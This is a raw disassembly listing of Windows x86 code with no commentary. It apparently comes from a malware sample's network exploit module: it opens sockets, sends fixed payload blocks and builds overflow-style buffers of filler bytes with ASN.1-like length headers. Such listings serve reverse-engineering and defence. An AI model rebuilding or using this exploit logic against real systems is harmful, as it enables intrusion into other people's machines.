cmp eax, 0FFFFFFFFh
jz short loc_403AD7
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_43A3D0
push ebx
push 0A0h
push offset dword_425BE0
push edi
call dword_43A408
cmp eax, 0FFFFFFFFh
jz short loc_403AD7
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_43A3D0
cmp [ebp+arg_C0], ebx
jz loc_403BF4
push 68h
lea eax, [ebp+var_89B4]
push offset dword_425D98
push eax
call sub_4155D0
lea eax, [ebp+var_4804]
push 1B5Ah
push eax
lea eax, [ebp+var_894C]
push eax
call sub_4155D0
push 70h
lea eax, [ebp+var_68DC]
push offset dword_425E04
push eax
call sub_4155D0
lea eax, [ebp+var_3770]
push 0A5Eh
push eax
lea eax, [ebp+var_686C]
push eax
call sub_4155D0
push 84h
lea eax, [ebp+var_5DA8]
push offset dword_425E78
push eax
call sub_4155D0
add esp, 3Ch
lea eax, [ebp+var_89B4]
push ebx
push 10FCh
push eax
push edi
call dword_43A408
cmp eax, 0FFFFFFFFh
jz loc_403AD7
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_43A3D0
push ebx
push 0FDCh
lea eax, [ebp+var_68DC]
jmp short loc_403C4A
; ---------------------------------------------------------------------------
loc_403BF4: ; CODE XREF: sub_40384C+2F8j
push 7Ch
lea eax, [ebp+var_2CA8]
push offset dword_425C84
push eax
call sub_4155D0
lea eax, [ebp+var_F14]
push 7D0h
push eax
lea eax, [ebp+var_2C2C]
push eax
call sub_4155D0
push 90h
lea eax, [ebp+var_245C]
push offset off_425D04
push eax
call sub_4155D0
add esp, 24h
mov [ebp+var_1FB1], bl
lea eax, [ebp+var_2CA8]
push ebx
push 0CF8h
loc_403C4A: ; CODE XREF: sub_40384C+3A6j
push eax
push edi
call dword_43A408
cmp eax, 0FFFFFFFFh
jz loc_403AD7
push 12Ch
call dword_421060
sub esp, 0BCh
lea esi, [ebp+arg_0]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_4036EB
add esp, 0BCh
test al, al
setnz al
loc_403C86: ; CODE XREF: sub_40384C+28Dj
pop edi
pop esi
pop ebx
leave
retn
sub_40384C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403C8B proc near ; CODE XREF: .nsp0:00402FC3p
; .nsp0:00403E78p ...
var_854 = byte ptr -854h
var_810 = byte ptr -810h
var_214 = byte ptr -214h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_14 = byte ptr 1Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
arg_B0 = dword ptr 0B8h
push ebp
mov ebp, esp
sub esp, 854h
push ebx
push esi
push edi
push 0BB80h
push 76Ch
call sub_414098
xor edi, edi
push 10h
lea eax, [ebp+var_14]
push edi
push eax
mov [ebp+var_4], edi
call sub_415570
add esp, 14h
lea eax, [ebp+arg_4]
mov [ebp+var_14], 2
push eax
call dword_43A3F8
push [ebp+arg_A0]
mov [ebp+var_10], eax
call dword_43A3B8
push 6
push 1
push 2
mov [ebp+var_12], ax
call dword_43A438
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_403D93
lea eax, [ebp+var_14]
push 10h
push eax
push ebx
call dword_43A360
cmp eax, 0FFFFFFFFh
jz loc_403D93
push edi
push 89h
push offset dword_4258F8
push ebx
call dword_43A408
cmp eax, 0FFFFFFFFh
jz short loc_403D93
mov esi, 640h
push edi
lea eax, [ebp+var_854]
push esi
push eax
push ebx
call dword_43A3D0
push edi
push 0A8h
push offset dword_425984
push ebx
call dword_43A408
cmp eax, 0FFFFFFFFh
jz short loc_403D93
push edi
lea eax, [ebp+var_854]
push esi
push eax
push ebx
call dword_43A3D0
push edi
push 0DEh
push offset dword_425A30
push ebx
call dword_43A408
cmp eax, 0FFFFFFFFh
jz short loc_403D93
push edi
lea eax, [ebp+var_854]
push esi
push eax
push ebx
call dword_43A3D0
movsx eax, [ebp+var_810]
sub eax, 30h
jz short loc_403D9D
dec eax
jz short loc_403D9A
loc_403D93: ; CODE XREF: sub_403C8B+63j
; sub_403C8B+79j ...
xor eax, eax
jmp loc_403E37
; ---------------------------------------------------------------------------
loc_403D9A: ; CODE XREF: sub_403C8B+106j
push edi
jmp short loc_403DC1
; ---------------------------------------------------------------------------
loc_403D9D: ; CODE XREF: sub_403C8B+103j
push 2
push ebx
sub esp, 0BCh
lea esi, [ebp+arg_0]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40384C
add esp, 0C4h
test al, al
jnz short loc_403DE1
push 1
loc_403DC1: ; CODE XREF: sub_403C8B+110j
push ebx
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40384C
add esp, 0C4h
test al, al
jz short loc_403DE8
loc_403DE1: ; CODE XREF: sub_403C8B+132j
mov [ebp+var_4], 1
loc_403DE8: ; CODE XREF: sub_403C8B+154j
push ebx
call dword_43A450
cmp [ebp+var_4], 0
jz short loc_403E34
push 0
lea eax, [ebp+var_214]
push [ebp+arg_B0]
push eax
lea eax, [ebp+arg_14]
push eax
push [ebp+arg_0]
call sub_412D4C
lea eax, [ebp+var_214]
push eax
call sub_40B16D
mov eax, [ebp+arg_A8]
add esp, 18h
imul eax, 3Ch
inc dword_427340[eax]
lea eax, dword_427340[eax]
loc_403E34: ; CODE XREF: sub_403C8B+168j
push 1
pop eax
loc_403E37: ; CODE XREF: sub_403C8B+10Aj
pop edi
pop esi
pop ebx
leave
retn
sub_403C8B endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push esi
push edi
sub esp, 0BCh
lea esi, [ebp+8]
mov dword ptr [ebp+0A8h], 1BDh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_402DDD
push 2Fh
lea esi, [ebp+8]
pop ecx
mov dword ptr [ebp+0A8h], 1BDh
mov edi, esp
mov [ebp-4], eax
rep movsd
call sub_403C8B
add esp, 0BCh
cmp dword ptr [ebp-4], 0
jnz short loc_403E8D
test eax, eax
jz short loc_403E90
loc_403E8D: ; CODE XREF: .nsp0:00403E87j
push 1
pop eax
loc_403E90: ; CODE XREF: .nsp0:00403E8Bj
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
sub_403E94 proc near ; CODE XREF: sub_404108+Ep
; sub_404108+33p ...
mov eax, ecx
and dword ptr [eax+4], 0
and dword ptr [eax], 0
retn
sub_403E94 endp
; =============== S U B R O U T I N E =======================================
sub_403E9E proc near ; CODE XREF: sub_404108+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
push edi
mov esi, ecx
push ebx
call sub_415DC9
mov edi, eax
pop ecx
test edi, edi
jz short loc_403ED0
push ebx
push 0
push edi
call sub_415570
push ebx
push [esp+1Ch+arg_0]
push edi
call sub_4155D0
add esp, 18h
mov [esi+4], ebx
mov [esi], edi
loc_403ED0: ; CODE XREF: sub_403E9E+14j
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_403E9E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403ED8 proc near ; CODE XREF: sub_403FD2+18p
; sub_40404C+16p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, ecx
push esi
mov ecx, [ebp+arg_C]
push edi
lea edi, [eax+ecx]
push edi
call sub_415DC9
mov esi, eax
pop ecx
test esi, esi
jz short loc_403F24
push edi
push 0
push esi
call sub_415570
push [ebp+arg_4]
push [ebp+arg_0]
push esi
call sub_4155D0
push [ebp+arg_C]
mov eax, [ebp+arg_4]
add eax, esi
push [ebp+arg_8]
push eax
call sub_4155D0
add esp, 24h
mov [ebx+4], edi
mov [ebx], esi
loc_403F24: ; CODE XREF: sub_403ED8+1Cj
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn 10h
sub_403ED8 endp
; =============== S U B R O U T I N E =======================================
sub_403F2D proc near ; CODE XREF: sub_403FD2+5Ep
; sub_403FD2+6Fp ...
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_403F3D
push eax
call sub_415E3D
pop ecx
loc_403F3D: ; CODE XREF: sub_403F2D+7j
and dword ptr [esi+4], 0
and dword ptr [esi], 0
pop esi
retn
sub_403F2D endp
; =============== S U B R O U T I N E =======================================
sub_403F46 proc near ; CODE XREF: sub_403FD2+20p
; sub_4040AD+8p ...
push ebx
push esi
mov esi, ecx
push edi
mov eax, [esi+4]
cmp eax, 0FFFFh
jge short loc_403F73
xor ebx, ebx
cmp eax, 7Fh
setnl bl
dec ebx
and ebx, 0FFFFFFFEh
add ebx, 3
add eax, ebx
push eax
call sub_415DC9
mov edi, eax
pop ecx
test edi, edi
jnz short loc_403F77
loc_403F73: ; CODE XREF: sub_403F46+Dj
xor al, al
jmp short loc_403FCE
; ---------------------------------------------------------------------------
loc_403F77: ; CODE XREF: sub_403F46+2Bj
mov eax, ebx
add eax, [esi+4]
push eax
push 0
push edi
call sub_415570
add esp, 0Ch
cmp ebx, 1
jnz short loc_403F9C
mov al, [esi+4]
mov [edi], al
push dword ptr [esi+4]
lea eax, [edi+1]
push dword ptr [esi]
jmp short loc_403FB6
; ---------------------------------------------------------------------------
loc_403F9C: ; CODE XREF: sub_403F46+45j
mov byte ptr [edi], 82h
mov eax, [esi+4]
sar eax, 8
mov [edi+1], al
mov al, [esi+4]
mov [edi+2], al
push dword ptr [esi+4]
lea eax, [edi+3]
push dword ptr [esi]
loc_403FB6: ; CODE XREF: sub_403F46+54j
push eax
call sub_4155D0
add esp, 0Ch
push dword ptr [esi]
call sub_415E3D
add [esi+4], ebx
pop ecx
mov [esi], edi
mov al, 1
loc_403FCE: ; CODE XREF: sub_403F46+2Fj
pop edi
pop esi
pop ebx
retn
sub_403F46 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403FD2 proc near ; CODE XREF: sub_404108+89p
; sub_404108+E3p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push edi
lea ecx, [ebp+var_8]
push dword ptr [esi+4]
push dword ptr [esi]
push 1
push offset dword_438FF4
call sub_403ED8
lea ecx, [ebp+var_8]
call sub_403F46
mov eax, [ebp+var_4]
inc eax
push eax
call sub_415DC9
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40400C
xor al, al
jmp short loc_404048
; ---------------------------------------------------------------------------
loc_40400C: ; CODE XREF: sub_403FD2+34j
mov eax, [ebp+var_4]
inc eax
push eax
push 0
push edi
call sub_415570
mov byte ptr [edi], 3
push [ebp+var_4]
lea eax, [edi+1]
push [ebp+var_8]
push eax
call sub_4155D0
add esp, 18h
mov ecx, esi
call sub_403F2D
mov eax, [ebp+var_4]
lea ecx, [ebp+var_8]
inc eax
mov [esi], edi
mov [esi+4], eax
call sub_403F2D
mov al, 1
loc_404048: ; CODE XREF: sub_403FD2+38j
pop edi
pop esi
leave
retn
sub_403FD2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40404C proc near ; CODE XREF: sub_404080+14p
; sub_40409D+8p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push [ebp+arg_4]
lea ecx, [ebp+var_8]
push [ebp+arg_0]
push dword ptr [esi+4]
push dword ptr [esi]
call sub_403ED8
mov ecx, esi
call sub_403F2D
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
pop esi
leave
retn 8
sub_40404C endp
; =============== S U B R O U T I N E =======================================
sub_404080 proc near ; CODE XREF: sub_404108+F0p
; sub_404108+15Bp ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_415CF0
pop ecx
push eax
mov ecx, esi
push [esp+8+arg_0]
call sub_40404C
pop esi
retn 4
sub_404080 endp
; =============== S U B R O U T I N E =======================================
sub_40409D proc near ; CODE XREF: sub_4040E9+Bp
; sub_404108+1A1p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_40404C
retn 8
sub_40409D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4040AD proc near ; CODE XREF: sub_4040E9+16p
; sub_404108+91p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
call sub_403F46
test al, al
jz short loc_4040E6
push dword ptr [esi+4]
lea ecx, [ebp+var_8]
push dword ptr [esi]
push 1
push (offset loc_4263DB+1)
call sub_403ED8
mov ecx, esi
call sub_403F2D
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
loc_4040E6: ; CODE XREF: sub_4040AD+Fj
pop esi
leave
retn
sub_4040AD endp
; =============== S U B R O U T I N E =======================================
sub_4040E9 proc near ; CODE XREF: sub_404108+134p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_40409D
test al, al
jz short loc_404104
mov ecx, esi
call sub_4040AD
loc_404104: ; CODE XREF: sub_4040E9+12j
pop esi
retn 8
sub_4040E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404108 proc near ; CODE XREF: .nsp0:0040498Dp
var_858 = byte ptr -858h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 858h
push ebx
push edi
lea ecx, [ebp+var_48]
call sub_403E94
mov edi, 408h
cmp [ebp+arg_8], edi
jg loc_40445C
mov ebx, [ebp+arg_10]
lea eax, [ebx+8]
cmp eax, edi
ja loc_40445C
push esi
lea ecx, [ebp+var_30]
call sub_403E94
lea ecx, [ebp+var_20]
call sub_403E94
lea ecx, [ebp+var_50]
call sub_403E94
lea ecx, [ebp+var_18]
call sub_403E94
lea ecx, [ebp+var_40]
call sub_403E94
lea ecx, [ebp+var_38]
call sub_403E94
lea ecx, [ebp+var_28]
call sub_403E94
push 4
push offset dword_42607C
lea ecx, [ebp+var_30]
call sub_40404C
push 3
push offset dword_426084
lea ecx, [ebp+var_30]
call sub_40404C
lea ecx, [ebp+var_30]
call sub_403FD2
lea ecx, [ebp+var_30]
call sub_4040AD
mov esi, 800h
lea eax, [ebp+var_858]
push esi
push 42h
push eax
call sub_415570
add esp, 0Ch
lea ecx, [ebp+var_20]
push 8
push offset aRbrbrbrb ; "BBBB"
call sub_40404C
push ebx
lea ecx, [ebp+var_20]
push [ebp+arg_C]
call sub_40404C
mov eax, 409h
lea ecx, [ebp+var_20]
sub eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_858]
push eax
call sub_40404C
lea ecx, [ebp+var_20]
call sub_403FD2
push offset loc_426404
lea ecx, [ebp+var_50]
call sub_404080
lea ecx, [ebp+var_50]
call sub_403FD2
push esi
lea eax, [ebp+var_858]
push 44h
push eax
call sub_415570
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_58]
push 410h
push eax
call sub_403E9E
lea ecx, [ebp+var_58]
call sub_403FD2
push [ebp+var_54]
lea ecx, [ebp+var_50]
push [ebp+var_58]
call sub_4040E9
lea ecx, [ebp+var_58]
call sub_403F2D
push esi
lea eax, [ebp+var_858]
push 43h
push eax
call sub_415570
add esp, 0Ch
push offset aCccc ; "CCCC"
lea ecx, [ebp+var_18]
call sub_404080
push 4
push offset dword_426088
lea ecx, [ebp+var_18]
call sub_40404C
push [ebp+arg_8]
lea ecx, [ebp+var_18]
push [ebp+arg_4]
call sub_40404C
sub edi, [ebp+arg_8]
lea eax, [ebp+var_858]
lea ecx, [ebp+var_18]
push edi
push eax
call sub_40404C
lea ecx, [ebp+var_18]
call sub_403FD2
push [ebp+var_14]
lea ecx, [ebp+var_40]
push [ebp+var_18]
call sub_40409D
push [ebp+var_4C]
lea ecx, [ebp+var_40]
push [ebp+var_50]
call sub_40409D
lea ecx, [ebp+var_40]
call sub_4040AD
lea ecx, [ebp+var_18]
call sub_403F2D
lea ecx, [ebp+var_50]
call sub_403F2D
push [ebp+var_1C]
lea ecx, [ebp+var_38]
push [ebp+var_20]
call sub_40409D
push [ebp+var_2C]
lea ecx, [ebp+var_38]
push [ebp+var_30]
call sub_40409D
push [ebp+var_3C]
lea ecx, [ebp+var_38]
push [ebp+var_40]
call sub_40409D
lea ecx, [ebp+var_38]
call sub_4040AD
lea ecx, [ebp+var_20]
call sub_403F2D
lea ecx, [ebp+var_30]
call sub_403F2D
lea ecx, [ebp+var_40]
call sub_403F2D
push esi
lea eax, [ebp+var_858]
push 41h
push eax
call sub_415570
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_28]
push 400h
push eax
call sub_40404C
lea ecx, [ebp+var_28]
call sub_403FD2
push 2
push offset dword_4263F8
lea ecx, [ebp+var_28]
call sub_40404C
push [ebp+var_34]
lea ecx, [ebp+var_28]
push [ebp+var_38]
call sub_40409D
lea ecx, [ebp+var_28]
call sub_4040AD
lea ecx, [ebp+var_38]
call sub_403F2D
lea ecx, [ebp+var_10]
call sub_403E94
lea ecx, [ebp+var_8]
call sub_403E94
push [ebp+var_24]
lea ecx, [ebp+var_10]
push [ebp+var_28]
call sub_40409D
lea ecx, [ebp+var_10]
call sub_403F46
lea ecx, [ebp+var_28]
call sub_403F2D
push offset dword_4263F4
lea ecx, [ebp+var_8]
call sub_404080
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40409D
lea ecx, [ebp+var_8]
call sub_403F46
lea ecx, [ebp+var_10]
call sub_403F2D
push offset dword_4263F0
lea ecx, [ebp+var_10]
call sub_404080
push [ebp+var_4]
lea ecx, [ebp+var_10]
push [ebp+var_8]
call sub_40409D
lea ecx, [ebp+var_10]
call sub_403F46
lea ecx, [ebp+var_8]
call sub_403F2D
push offset dword_4263E4
lea ecx, [ebp+var_8]
call sub_404080
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40409D
lea ecx, [ebp+var_8]
call sub_403F46
lea ecx, [ebp+var_10]
call sub_403F2D
push offset dword_4263E0
lea ecx, [ebp+var_48]
call sub_404080
push [ebp+var_4]
lea ecx, [ebp+var_48]
push [ebp+var_8]
call sub_40409D
lea ecx, [ebp+var_8]
call sub_403F2D
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
pop esi
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
jmp short loc_40446A
; ---------------------------------------------------------------------------
loc_40445C: ; CODE XREF: sub_404108+1Bj
; sub_404108+29j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
loc_40446A: ; CODE XREF: sub_404108+352j
pop edi
pop ebx
leave
retn
sub_404108 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40446E proc near ; CODE XREF: sub_404532+A1p
; sub_404532+C2p ...
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push esi
push edi
mov esi, [ebp+arg_0]
push 1
pop edi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_210]
and [ebp+var_4], 0
push eax
lea eax, [ebp+var_10C]
push 0
push eax
lea eax, [esi+1]
push eax
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
mov [ebp+var_20C], esi
mov [ebp+var_210], edi
mov [ebp+var_8], 0Ah
call dword_4211D0
cmp eax, edi
jnz short loc_4044D5
lea eax, [ebp+var_10C]
push eax
push esi
call sub_420106
test eax, eax
jnz short loc_4044D9
loc_4044D5: ; CODE XREF: sub_40446E+54j
xor eax, eax
jmp short loc_4044E9
; ---------------------------------------------------------------------------
loc_4044D9: ; CODE XREF: sub_40446E+65j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call dword_43A3D0
loc_4044E9: ; CODE XREF: sub_40446E+69j
pop edi
pop esi
leave
retn
sub_40446E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4044ED proc near ; CODE XREF: sub_404532+81p
; sub_404532+ABp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_8]
call dword_43A3B4
mov [ebp+var_4], eax
push 0
lea eax, [ebp+var_4]
push 4
push eax
push [ebp+arg_0]
call dword_43A408
cmp eax, 4
jz short loc_404517
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_404517: ; CODE XREF: sub_4044ED+24j
push 0
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_43A408
sub eax, [ebp+arg_8]
neg eax
sbb eax, eax
inc eax
leave
retn
sub_4044ED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404532 proc near ; CODE XREF: sub_40460C+48p
; .nsp0:00404A88p
var_104 = byte ptr -104h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 104h
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea ebx, [edi+41h]
push ebx
mov [ebp+var_4], ebx
call sub_415DC9
mov esi, eax
pop ecx
test esi, esi
jnz short loc_40455B
xor al, al
jmp loc_404607
; ---------------------------------------------------------------------------
loc_40455B: ; CODE XREF: sub_404532+20j
push ebx
push 0
push esi
call sub_415570
push 2Fh
push offset dword_426118
push esi
call sub_4155D0
push 8
lea eax, [esi+31h]
push offset dword_426148
push eax
mov [esi+2Fh], di
call sub_4155D0
push edi
lea ebx, [esi+3Bh]
push [ebp+arg_4]
mov [esi+39h], di
push ebx
call sub_4155D0
push 6
add ebx, edi
push offset dword_438FEC
push ebx
call sub_4155D0
mov ebx, [ebp+arg_0]
push 85h
push offset dword_426090
push ebx
call sub_4044ED
add esp, 48h
test al, al
jnz short loc_4045C3
loc_4045BF: ; CODE XREF: sub_404532+B5j
xor bl, bl
jmp short loc_4045FE
; ---------------------------------------------------------------------------
loc_4045C3: ; CODE XREF: sub_404532+8Bj
mov edi, 100h
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_40446E
push [ebp+var_4]
push esi
push ebx
call sub_4044ED
add esp, 1Ch
test al, al
jz short loc_4045BF
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_40446E
add esp, 10h
mov bl, 1
loc_4045FE: ; CODE XREF: sub_404532+8Fj
push esi
call sub_415E3D
pop ecx
mov al, bl
loc_404607: ; CODE XREF: sub_404532+24j
pop edi
pop esi
pop ebx
leave
retn
sub_404532 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40460C proc near ; CODE XREF: .nsp0:00404A6Ep
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push 0
push 48h
push offset unk_426154
push [ebp+arg_0]
call dword_4211EC
cmp eax, 48h
jnz short loc_404647
push 0
lea eax, [ebp+var_20]
push 20h
push eax
push [ebp+arg_0]
call sub_40446E
add esp, 10h
cmp eax, 0FFFFFFFFh
jz short loc_404647
cmp [ebp+var_20], 82h
jz short loc_40464B
loc_404647: ; CODE XREF: sub_40460C+1Bj
; sub_40460C+33j
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40464B: ; CODE XREF: sub_40460C+39j
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_404532
add esp, 0Ch
leave
retn
sub_40460C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40465E proc near ; CODE XREF: sub_4046AA+2Dp
var_10 = qword ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
and dword ptr [ebp+var_8+4], 0
shl eax, 3
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
fmul dbl_421240
call sub_415F8C
and dword ptr [ebp+var_8+4], 0
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
push ecx
push ecx ; double
fst [ebp+var_8]
fmul dbl_421238
fstp [esp+10h+var_10]
call sub_415E6C
fadd st, st
pop ecx
pop ecx
fadd [ebp+var_8]
call sub_415F8C
inc eax
leave
retn
sub_40465E endp
; =============== S U B R O U T I N E =======================================
sub_4046AA proc near ; CODE XREF: sub_40484C+24p
var_40 = qword ptr -40h
mov eax, offset loc_420263
call sub_416458
sub esp, 2Ch
mov al, [ebp+13h]
push ebx
push esi
push edi
xor edi, edi
lea ecx, [ebp-38h]
push edi
mov [ebp-20h], edi
mov [ebp-38h], al
call sub_404D21
push 1
pop ebx
push dword ptr [ebp+10h]
mov [ebp-4], ebx
call sub_40465E
cmp [ebp-2Ch], eax
pop ecx
jnb short loc_4046EC
push edi
push eax
lea ecx, [ebp-38h]
call sub_404C9C
loc_4046EC: ; CODE XREF: sub_4046AA+36j
cmp [ebp+10h], edi
mov [ebp-18h], edi
jbe loc_404809
mov ebx, [ebp+10h]
loc_4046FB: ; CODE XREF: sub_4046AA+156j
cmp dword ptr [ebp+10h], 3
jb short loc_404705
push 3
jmp short loc_404717
; ---------------------------------------------------------------------------
loc_404705: ; CODE XREF: sub_4046AA+55j
cmp dword ptr [ebp+10h], 2
jnz short loc_40470F
push 2
jmp short loc_404717
; ---------------------------------------------------------------------------
loc_40470F: ; CODE XREF: sub_4046AA+5Fj
cmp dword ptr [ebp+10h], 1
jnz short loc_404718
push 1
loc_404717: ; CODE XREF: sub_4046AA+59j
; sub_4046AA+63j
pop ebx
loc_404718: ; CODE XREF: sub_4046AA+69j
mov [ebp-28h], ebx
mov [ebp-24h], edi
fild qword ptr [ebp-28h]
push ecx
push ecx ; double
fmul dbl_421250
fstp [esp+40h+var_40]
call sub_415FB3
pop ecx
pop ecx
call sub_415F8C
cmp ebx, edi
mov [ebp-1Ch], eax
jbe short loc_404757
mov esi, [ebp+0Ch]
mov ecx, ebx
mov edx, ecx
lea edi, [ebp-10h]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
xor edi, edi
loc_404757: ; CODE XREF: sub_4046AA+93j
mov cl, [ebp-10h]
mov dl, [ebp-10h]
sar cl, 2
and cl, 3Fh
and dl, 3
mov [ebp-14h], cl
mov cl, [ebp-0Fh]
sar cl, 4
and cl, 0Fh
add [ebp+0Ch], ebx
shl dl, 4
add cl, dl
mov dl, [ebp-0Fh]
mov [ebp-13h], cl
mov cl, [ebp-0Eh]
sar cl, 6
and dl, 0Fh
sub [ebp+10h], ebx
and cl, 3
xor esi, esi
shl dl, 2
add cl, dl
mov [ebp-12h], cl
mov cl, [ebp-0Eh]
and cl, 3Fh
cmp eax, edi
mov [ebp-11h], cl
jbe short loc_4047C5
add [ebp-18h], eax
loc_4047A9: ; CODE XREF: sub_4046AA+119j
movsx eax, byte ptr [ebp+esi-14h]
lea ecx, [ebp-38h]
mov al, byte_4261A0[eax]
push eax
push 1
call sub_404B1E
inc esi
cmp esi, [ebp-1Ch]
jb short loc_4047A9
loc_4047C5: ; CODE XREF: sub_4046AA+FAj
cmp dword ptr [ebp-18h], 48h
jb short loc_4047E3
push dword ptr [ebp+14h]
call sub_415CF0
pop ecx
push eax
lea ecx, [ebp-38h]
push dword ptr [ebp+14h]
call sub_404B77
mov [ebp-18h], edi
loc_4047E3: ; CODE XREF: sub_4046AA+11Fj
push 4
pop esi
cmp [ebp-1Ch], esi
jnb short loc_4047FD
sub esi, [ebp-1Ch]
loc_4047EE: ; CODE XREF: sub_4046AA+151j
push 3Dh
push 1
lea ecx, [ebp-38h]
call sub_404B1E
dec esi
jnz short loc_4047EE
loc_4047FD: ; CODE XREF: sub_4046AA+13Fj
cmp [ebp+10h], edi
ja loc_4046FB
push 1
pop ebx
loc_404809: ; CODE XREF: sub_4046AA+48j
mov esi, [ebp+8]
mov al, [ebp-38h]
push edi
mov ecx, esi
mov [esi], al
call sub_404D21
push dword_421248
lea eax, [ebp-38h]
mov ecx, esi
push edi
push eax
call sub_404BCE
mov [ebp-20h], ebx
and byte ptr [ebp-4], 0
push ebx
lea ecx, [ebp-38h]
call sub_404D21
mov ecx, [ebp-0Ch]
mov eax, esi
